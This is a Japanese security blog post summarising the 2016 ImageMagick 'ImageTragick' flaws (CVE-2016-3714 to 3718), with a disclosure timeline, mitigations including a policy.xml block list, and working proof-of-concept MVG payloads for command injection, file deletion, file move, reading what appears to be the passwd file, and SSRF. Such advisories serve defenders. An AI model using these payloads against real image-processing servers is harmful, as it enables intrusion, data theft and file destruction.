ブログトップ 記事一覧 ログイン 無料ブログ開設

piyolog RSSフィード

2016-05-04

ImageMagickの脆弱性(CVE-2016-3714他)についてまとめてみた

| 18:08 | ImageMagickの脆弱性(CVE-2016-3714他)についてまとめてみたを含むブックマーク

画像処理ソフトImageMagickに複数の脆弱性が存在するとして2016年5月3日頃、CVE-2016-3714他の脆弱性情報が公開されました。ここでは関連情報をまとめます。

ImageMagick 開発チームの情報

脆弱性情報

対象ImageMagick
CVECVE-2016-3714
CVE-2016-3715
CVE-2016-3716
CVE-2016-3717
CVE-2016-3718
影響RCE
重要度CVE-2016-3714:Important(Redhat)/緊急(JPCERT/CC)
PoCPoC公開あり。
in the wildとの情報もあり。
CVSS(v2)CVE-2016-3714:6.8(Redhat)/9.3(CERT/CC)
発見者Nikolay Ermishkin氏(Mail.Ru Security Team)
脆弱性愛称

ImageMagick脆弱性の愛称として「ImageTragick」という呼称が用いられている。

関連情報
攻撃の観測
攻撃デモ

脆弱性概要
CVE概要
CVE-2016-3714シェル文字列の不十分なフィルタリングによる(潜在的なリモート)コード実行の脆弱性
CVE-2016-3715ファイル消去の脆弱性
CVE-2016-3716ファイル移動の脆弱性
CVE-2016-3717ローカルファイルの読み込みの脆弱性
(independently reported by original research author - https://hackerone.com/stewie)
CVE-2016-3718SSRFの脆弱性

脆弱性タイムライン

日付出来事
2016年4月21日Stiwieから報告されたMy.Comのファイルリード脆弱性をMail.rumのセキュリティチームが受け取った。この問題はImageMagickの開発チームへ報告された。
同日My.Com 開発チームによりファイル読み込みの脆弱性パッチ公開
2016年4月28日Nikolay Ermishkin氏がImageMagickにコード実行の脆弱性を発見。
2016年4月30日ImageMagickの開発チームへコード実行の脆弱性について報告。
2016年4月30日ImageMagickがコード実行の脆弱性を修正。(不完全な修正)
同日ImageMagick 6.9.3-9(不完全修正版)が公開。
2016年5月1日修正版の回避方法についてImageMagickへ通知。
2016年5月2日ディストリビューターMLへ限定公開。
2016年5月3日ImageTragickのWebサイトを一般公開。
2016年5月4日ImageMagick 6.9.3-10、7.0.1-1が公開。
2016年5月8日ImageMagick 6.9.4-0、7.0.1-2が公開。

影響範囲

影響を受けるディストリビューション

CERT/CCによれば主要ディストリビューションの多くが影響を受ける。

影響を受けるソフトウェア

クラウドレンタルサーバー

対策

ImageMagickを最新版に更新する。

ImageMagickより公開されたバージョン (5/8に公開)
バージョン確認方法
$ convert -version
回避策
  • 対象ファイルが画像ファイルであるかMagic Byteから確認を行う。
  • ImageMagick設定ファイル「policy.xml」に次の設定を加える。(5月5日更新、項目を追加)
<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="TEXT" />
  <policy domain="coder" rights="none" pattern="SHOW" />
  <policy domain="coder" rights="none" pattern="WIN" />
  <policy domain="coder" rights="none" pattern="PLT" />
</policymap>

PoC

検証スクリプト一式

次に公開されているファイル一式をダウンロードし、「test.sh」を実行することで影響を受けるかを確認できる。

PoC CVE-2016-3714 (コード実行の脆弱性)

次のMVGファイル「exploit.mvg」を作成する。

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

ImageMagickのconvertコマンドでこのファイルを読み込むと、MVGファイル内に記載されたコマンドが実行される。

$ convert exploit.mvg out.png 
drwxr-xr-x 5 piyokango piyokango 4096 May  4 08:26 .
drwxr-xr-x 3 root      root      4096 Dec  4 15:06 ..
:

このPoCはMVGファイルを用いているが拡張子を偽装した場合(例えばJPG等)でもPoCが実行された。

PoC CVE-2016-3715 (ファイル消去の脆弱性)

次のMVGファイルを作成しconvertコマンドで読み込む。

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context
PoC CVE-2016-3716 (ファイル移動の脆弱性)

次のMVGファイルを作成しconvertコマンドで読み込む。

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context
PoC CVE-2016-3717 (ファイル読込の脆弱性)

次のMVGファイルを作成しconvertコマンドで読み込む。

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@...c/passwd'
pop graphic-context
PoC CVE-2016-3718 (SSRFの脆弱性)

次のMVGファイルを作成しconvertコマンドで読み込む。

push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

ツール

謝辞

このまとめは次の方から頂いた情報をもとに追記・修正を行っています。ありがとうございます。

  • AJさん